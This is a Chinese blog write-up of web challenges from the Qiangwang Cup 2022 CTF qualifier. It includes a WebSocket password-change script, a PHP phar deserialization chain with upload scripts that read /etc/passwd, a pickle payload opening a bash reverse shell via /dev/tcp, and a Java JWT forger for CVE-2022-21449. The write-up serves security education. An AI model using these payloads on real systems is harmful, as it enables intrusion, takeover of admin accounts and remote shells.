强网杯2022初赛WP&复现学习

强网杯2022初赛WP&复现学习

file

babyweb

题目内容:

本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/

docker run -dit -p "0.0.0.0:pub_port:8888" babyweb

随便注册一个用户登录进去(admin用户已存在)然后可以得到提示:

image-20220801013747447

在后台可以看到信息是通过ws发给/bot的,然后/bot会根据请求执行业务然后输出响应

<script>
        var ws = null;
        var url = "ws://" + window.location.host + "/bot";
        function sendtobot() {
            if (ws) {
                var msg = document.getElementById("sendbox").value;
                ws.send(msg);
                document.getElementById("sendbox").value = "";
                document.getElementById("chatbox").append("你: " + msg + "\r\n");
            }
            else{
                ws = new WebSocket(url);
                ws.onopen = function (event) {
                    console.log('connection open!')
                    var msg = document.getElementById("sendbox").value;
                    ws.send(msg);
                    document.getElementById("sendbox").value = "";
                    document.getElementById("chatbox").append("你: " + msg + "\r\n");
                }
                ws.onmessage = function (ev) {
                    botsay(ev.data);
                };
                ws.onerror = function () {
                    console.log("connection error");
                };
                ws.onclose = function () {
                    console.log("connection close!");
                };

            }
        }
        function closeWebSocket() {
            if(ws){
                ws.close();
                ws = null;
            }
        }
        function botsay(content) {
            document.getElementById("chatbox").append("bot: " + content + "\r\n");
        }
    </script>

我们主要用到两个命令:

  1. bugreport http://vps:port/ws.html 里面写上通过ws请求/bot的script代码
  2. 在ws.html中通过webSocket请求内部的/bot并且指定命令修改密码为1122334455changepw 1122334455

得到ws.html

<html>
  <body>
<script>
    var ws = null;
    var host = "127.0.0.1:8888"
    var url = "ws://" + host + "/bot";

    ws = new WebSocket(url);
    ws.onopen = function (event) {
        console.log('connection open!')
        var msg = "changepw 1122334455";
        ws.send(msg);
        console.log('changepw')
    }
    ws.onmessage = function (ev) {
        botsay(ev.data);
    };
    ws.onerror = function () {
        console.log("connection error");
    };
    ws.onclose = function () {
        console.log("connection close!");
    };
</script>
  </body>
</html>

执行命令让admin访问我们的ws.html

image-20220801014805665

然后进入admin的后台

image-20220801014924429

使用当前余额购买一个Hint得到服务源码压缩包获得源码:

app.py

@app.route("/buy", methods=['POST'])
def buy():
    if not session:
        return redirect('/login')
    elif session['user'] != 'admin':
        return "you are not admin"
    else :
        result = {}
        data = request.get_json()
        product = data["product"]
        for i in product:
            if not isinstance(i["id"],int) or not isinstance(i["num"],int):
                return "not int"
            if i["id"] not in (1,2):
                return "id error"
            if i["num"] not in (0,1,2,3,4,5):
                return "num error"
            result[i["id"]] = i["num"]
        sql = "select money,flag,hint from qwb where username='admin'"
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        cursor = c.execute(sql)
        for row in cursor:
            if len(row):
                money = row[0]
                flag = row[1]
                hint = row[2]
        data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
        r = requests.post("http://127.0.0.1:10002/pay",data).text
        r = json.loads(r)
        if r["error"] != 0:
            return r["error"]
        money = int(r["money"])
        hint = hint + result[1]
        flag = flag + result[2]
        sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        try:
            c.execute(sql)
            conn.commit()
        except Exception as e:
            conn.rollback()
            c.close()
            conn.close()
            return "database error"
        return "success"

pay.go

package main

import (
    "github.com/buger/jsonparser"
    "fmt"
    "net/http"
    "io/ioutil"
    "io"
)

func pay(w http.ResponseWriter, r *http.Request) {
    var cost int64 = 0
    var err1 int64 = 0
    json, _ := ioutil.ReadAll(r.Body)
    secret, err := jsonparser.GetString(json, "secret")
    if err != nil {
        fmt.Println(err)
    }
    if secret != "xxxx"{   //secret已打码
        io.WriteString(w, "{\"error\": \"secret error\"}")
        return
    }
    money, err := jsonparser.GetInt(json, "money")
    if err != nil {
        fmt.Println(err)
    }
    _, err = jsonparser.ArrayEach(
            json,
            func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
                id, _ := jsonparser.GetInt(value, "id")
                num, _ := jsonparser.GetInt(value, "num")
                if id == 1{
                    cost = cost + 200 * num
                }else if id == 2{
                    cost = cost + 1000 * num
                }else{
                    err1 = 1
                }
            },
        "product")
    if err != nil {
        fmt.Println(err)
    }
    if err1 == 1{
        io.WriteString(w, "{\"error\": \"id error\"}")
        return
    }
    if cost > money{
        io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
        return
    }
    money = money - cost
    io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/pay", pay)
    http.ListenAndServe(":10002", mux)
}

这里使用的是go获取json和python获取json的差异:

  1. python对于同名的是获取后面的
  2. go的是获取前面的

构造payload:

{"product":[{"id":1,"num":0},{"id":2,"num":0,"num":2}]}

以为我们设置两个flag的数量,第一个数量为1被python读取,第二个被go读取,所以go读取到的数量为0所以计算此次购买的花费共为: 0200(购买一个hint所需花费)花费+0\1000(购买一个flag所需花费)=0

所以python从pay.go服务中得知此次购买需要花费为0,然后检查发现当前余额可购买,然后我们就得到了一个flag,登录进入即可看到

image-20220730213442783

image-20220801015959270

easyweb

题目描述

照片墙的内部系统中可能还有什么系统。
http://47.104.95.124:8080/

首页面就是一个文件上传的界面,上传的文件会交给自己index.php进行处理

还有一个查看文件的showfile.php

功能测试

  1. index.php会进行文件上传,但是上传会返回guest can not upload file上传失败(原因看下面源码)
  2. showfile.php会读取文件,默认参数为?f=./demo.png测试后发现必须要有demo或者guest才会读取返回(但是赛后试了一下就没有这些限制),得到文件读取格式?f=./demo/../filepath读出index.php,upload.php,showfile.php这几个关键文件(showfile.php现在无法读出)

得到源码:

index.php

<!DOCTYPE html>
<html lang="en">
<body>
<h1>欢迎来到强网杯照片墙</h1>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交"><br>
    <a href="showfile.php?f=./demo.png">查看照片</a>

    <?php
    $upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload, 0333, true);
    if(isset($_POST['submit'])) {
        include 'upload.php';
    }
    ?>
</form>
</body>

upload.php

<?php
error_reporting(0);
require_once('class.php');

if(isset($_SESSION)){
    if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
        $_FILES["file"]["name"] = $_GET['fname'];
    }
    $upload = new Upload();
    $upload->upload();
}else {
    die("<p class='tip'>guest can not upload file</p>");
}
?>

class.php

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}

class AdminShow
{
    public $source;
    public $str;
    public $filter;

    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }

    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }

    public function __get($value)
    {
        $this->show();
        return $this->$value;
    }

    public function __set($key, $value)
    {
        $this->$key = $value;
    }

    public function show()
    {
        if (preg_match('/usr|auto|log/i', $this->source)) {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64," . base64_encode($response);
        echo "<img src={$src} />";

    }

    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

可以在upload.php看到只有通过if(isset($_SESSION))检验才会进行文件上传,但是在这里源码中并没有执行session_start那么遇到问题1了:怎么绕过$_SESSION的检验?

绕过if(isset($_SESSION))检验

首先我们要知道isset是怎么进行$_SESSION检验的:

isset会判断session文件存放目录下(默认/tmp)是否有sess_sessionid文件,如果有的话就会判定为当前session存在返回True

Tips: isset只会检验文件是否存在,而不会关心文件里面的内容,但当session_start被执行的时候就会取出里面的数据进行反序列化

知道了isset是怎么检验$_SESSION是否存在之后我们明确下一步

  1. 设置我们的请求头Cookie: PHPSESSID=h0cksr
  2. 生成文件/tmp/sess_h0cksr

对于这个session文件如果之前有学习过通过现实文件上传进度的PHP_SESSION_UPLOAD_PROGRESS文件包含的话对这个格式的文件应该是有印象的,在这里我们使用的就是PHP_SESSION_UPLOAD_PROGRESS文件包含中使用的方法:设置PHP_SESSION_UPLOAD_PROGRESS参数从而产生session文件

进行文件上传

构造进行文件上传的时候加上参数测试:

POST /index.php HTTP/1.1
Host: 47.104.95.124:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://47.104.95.124:8080/
Content-Type: multipart/form-data; boundary=---------------------------33454413318025359992881510824
Content-Length: 542
Cookie: PHPSESSID=ttt
Connection: keep-alive
Upgrade-Insecure-Requests: 1

-----------------------------33454413318025359992881510824
Content-Disposition: form-data; name="file"; filename="gongan.png"
Content-Type: image/png

filecontent
-----------------------------33454413318025359992881510824
Content-Disposition: form-data; name="submit"

提交
-----------------------------33454413318025359992881510824--
-----------------------------33454413318025359992881510824
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ttt
-----------------------------33454413318025359992881510824--

image-20220801003826014

构造一下脚本如下:

import base64
import os
import time
import requests
baseurl="http://47.104.95.124:8080/"
def upfile():
      url = baseurl+"index.php"
      res = requests.post(
            url,
            cookies={"PHPSESSID": "h0cksr"},
            data={"submit": "提交",
                  "PHP_SESSION_UPLOAD_PROGRESS": "h0cksr"
                  },
            files=[("file", ("guest.png", open("phar.phar", "rb").read(), "image/png"))]
      )
      filename = res.text.split("upload  ")[-1].split(" success!")[0]
      # print(filename)
      return filename
upfile()

执行脚本我们可以得到返回的文件名

分析源码得到pop链

对源码进行分析后可以明确这是一个通过phar反序列化的题目

Tips: 测试可以发现showfile参数不能使用http和file等协议,但是可以使用phar协议

我们获取pop链的时候主要将视角放到class.php(已将无关反序列化函数删除):

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
}

class GuestShow{
    public $file;
    public $contents;
    function __destruct(){        echo $this;    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
}

class AdminShow{
    public $source;
    public $str;
    public $filter;

    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        var_dump($url);
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";
    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

PS: \AdminShow::show中的过滤感觉有和没有可以说毫无影响

下面构造POP链:

  1. 确定出发点: 全局一个__wakeup一个__destroy函数,这里其实两个作为起点都可以,分别对于下面的简单版和复杂版

  2. 确定终点: 可以看到并没有可以进行动态代码执行的利用点, 确定终点为show函数

  3. 分析中途路径(这里就不细说了,有两种构造思路,主要说一下思路)

    1. 简单版: 直接通过\GuestShow::show中获取schema的时候会调用__get

      \AdminShow::__wakeup
      \AdminShow::__get 事先设置好source,不要设置schema
          \AdminShow::show
      source = $file;
        }
      
      }
      $adminshow=new Adminshow("file:///etc/passwd");
      $ser=$adminshow;
      //需要反序列化的变量:$ser
    2. 复杂版:

      1. 触发\AdminShow::__toString

      2. \AdminShow::__toString的第一步: 通过\Upload::__getadminshow中的schema进行变量覆盖

      3. \AdminShow::__toString的第二步: 再次走到\Upload::__getadminshow的source进行变量覆盖然后通过echo再次回到\GuestShow::__toString函数

      4. 通过\GuestShow::__toString触发\AdminShow::__get

      5. 调用\AdminShow::show

        \AdminShow::__wakeup
        
        \GuestShow::__destruct
        \GuestShow::__toString
            \Upload::__get
                \AdminShow::__toString
                    \Upload::__get 覆盖source变量
                    \Upload::__get 覆盖schema变量
                        \GuestShow::__toString
                            \AdminShow::__get
                                \AdminShow::show
        file=&$uploadtemp;
        $uploadtemp->tmp=&$adminshow;
        
        $upload1->filesize=&$adminshow;
        $upload1->date="";
        $upload2->filesize=&$adminshow;
        $upload2->date="file:///etc/passwd";
        
        $guestshow2->file=&$adminshow;
        $upload2->tmp=&$guestshow2;
        
        $adminshow->str[0]=&$upload1;
        $adminshow->str[1]=&$upload2;
        
        $t=serialize($guestshow);
        $ser=$guestadmin;
        //需要反序列化的变量:$ser

反序列化上面的$ser均会请求输出file:///etc/passwd

这里将这个$ser反序列化后放入phar.phar中,当这个文件被通过phar://协议读取的时候就会执行反序列化从而请求输出/etc/passwd文件

phar反序列化

<?php
$ser="上面构造得到的\$ser变量";

@unlink("phar.phar");
$phar=new phar('phar.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=$ser;
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag{test}");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

使用上面的上传文件的脚本上传文件并且请求反序列化后输出的数据:

import base64
import os
import time
import requests
baseurl="http://47.104.95.124:8080/"
def upfile():
      url = baseurl+"index.php"
      res = requests.post(
            url,
            cookies={"PHPSESSID": "h0cksr"},
            data={"submit": "提交",
                  "PHP_SESSION_UPLOAD_PROGRESS": "h0cksr"
                  },
            files=[("file", ("guest.png", open("phar.phar", "rb").read(), "image/png"))]
      )
      filename = res.text.split("upload  ")[-1].split(" success!")[0]
      # print(filename)
      return filename
while 1:
      filename = upfile()
      res = requests.get(baseurl + "/showfile.php?f=phar://" + filename)
      save = open("result", "a")
      contents = res.text
      save.write(contents)
      save.close()
      code64=(contents.split("\n")[-1].split("<img src=data:jpg;base64,")[-1].replace(" />",""))
      print(base64.b64decode(code64.encode()).decode())
      print(time.time(),"="*100)

然后访问file:///flag并没有内容,结合题目另一套系统,读取/proc/self/net/arp获取arp协议解析的历史记录然后逐个请求并且修改脚本自动执行这一过程(以为有差不多上百个ip)最终确定到有内容的ip地址

image-20220730212009530

image-20220730213140900

修改php中的访问链接让访问靶机访问http://10.10.10?url=file:///flag 然后得到flag

image-20220730213317561

image-20220730213336400

rcefile

  1. 检测MIME(直接不用看)
  2. 黑名单检测了可以解析的php文件后缀格式
  3. 上传文件会重新生成一个不可控文件名(后缀不变)存放在当前目录

所以就是可以上传后缀名解析不了的且文件名不可控的文件

有两个解法

解法一(感觉是bug了):

直接上传一个.phar文件,里面是恶意代码,直接访问就解析了(bug估计是…)

解法二:

上传点的目录有个文件里有spl_autoload_register函数,而且会反序列化cookie的userfile参数

  1. 上传一个x.inc文件,里面有system或eval恶意代码,得到返回文件名xxxx.inc
  2. 反序列化一个xxxx类,以为这个类不存在,spl_autoload_register会在include_path的目录下去寻找xxxx.php或xxxx.inc文件进行包含
  3. 恶意代码文件xxxx.inc文件被包含,执行恶意代码

WP-UM

  1. 找到问题插件CVE- 2022-0779

  2. 有dockerfile本地起一个服务后进入后台可以找到一个有问题的插件(记得好像也可以自己申请一个账号进入管理面板也可以看到这个问题插件)

    插件漏洞CVE- 2022-0779 :: 可以探测指定文件是否存在

  3. 文件条件有特殊性,说管理员账号密码就放在/username和/password目录下,而且密码和用户名分别有一个通名文件

  4. 使用漏洞插件写脚本测出管理员账号密码

  5. 管理员账号密码登录后台

  6. 直接在模板页面修改404.php, 拿到webshell

  7. 找到flag文件,获得flag

crash

解法一:反弹一个shell重新开一个返回504的服务:

  1. 有个接口可以进行pickle.loads,但是有一点限制不能使用__reduce返回的东西,稍微改一下,反弹shell
import base64
arg=b'''(cos system S'bash -c "bash -i >& /dev/tcp/host/port 0>&1"' o.'''
print(base64.b64encode(arg))

拿flag要求: 返回504(中间件啥的响应时间过长)

  1. 拿到shell后跑个让它延时超时返回504的python服务
from flask import Flask
import time
app = Flask(__name__)
@app.route('/')
def hello_world():
    time.sleep(9999999999999)
    return 'flask'
if __name__ == '__main__':
    app.run(port=5000)
  1. 访问服务首页即可获得flag

解法二:(修改账号密码):

data=b'''(cbuiltins
exec
S'c="import admin;admin.sec"+"ret='j1an'";exec(c)'
o.'''
  1. 使用上面opcode反序列化修改admin密码 (很奇怪,如果是其他反序列化操作程序会崩掉不能再次访问,但是这样子只修改密码的操作反序列化后程序依旧正常,玄学了,想知道出题人怎么配到这种效果的环境
  2. 使用新的密码登录admin
  3. 里面是一个什么负载均衡的页面,参数随便乱调很容易就能504拿到flag

easybaby

解法一:session改密码

  1. 有注入漏洞的Wordpress版本,直接上sqlmap拿到WordPress之外另一个端口开的服务的session
  2. 使用这个session改密码,进入后台
  3. 上传zip文件rce
  4. 执行命令拿到flag

解法二:好像还有个邮箱改密码,实际上不不需要邮箱恢复啥的,这个方法不大清楚

后台RCE参考:

https://github.com/HoangKien1020/Moodle_RCE

https://blog.csdn.net/weixin_45007073/article/details/121365871

uploadpro

(这个题没找到opcache的还原脚本。。。

  1. Nginx目录穿越漏洞: 访问http://host/uploads../../../../../../../ 可以看到根目录全部内容,还可以下载文件,php肯定是不行的了,所以下载opcache的文件还原拿到源码
  2. 从源码得知可向指定位置上传文件
  3. 恶意opcache文件覆盖
  4. 访问php执行覆盖后的恶意代码

myJWT

这题当时学弟做了就没看,这里直接贴一下其他师傅的WP:

cve-2022-21449

签名为空即可通过校验

import com.alibaba.fastjson2.JSONObject;
import java.util.Base64;
import java.util.Scanner;

public class Main {

    public static String generateToken(String user) throws Exception {
        JSONObject header = new JSONObject();
        JSONObject payload = new JSONObject();
        header.put("alg", "myES");
        header.put("typ", "JWT");
        String headerB64 = Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());
        payload.put("iss", "qwb");
        payload.put("exp", System.currentTimeMillis()*2);
        payload.put("name", user);
        payload.put("admin", true);
        String payloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());
        String content = String.format("%s.%s", headerB64, payloadB64);
        byte[] sig = new byte[64];
        String sigB64 = Base64.getUrlEncoder().encodeToString(sig);

        return String.format("%s.%s", content, sigB64);
    }

    public static void attack() throws Exception {
        Scanner input = new Scanner(System.in);
        System.out.print("your name:");
        String user = input.nextLine().strip();
        System.out.print(String.format("hello %s.\\n", user));
        String token = generateToken(user);
        System.out.print("your token:");
        System.out.println(token);
    }

    public static void main(String[] args) throws Exception{
        attack();
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇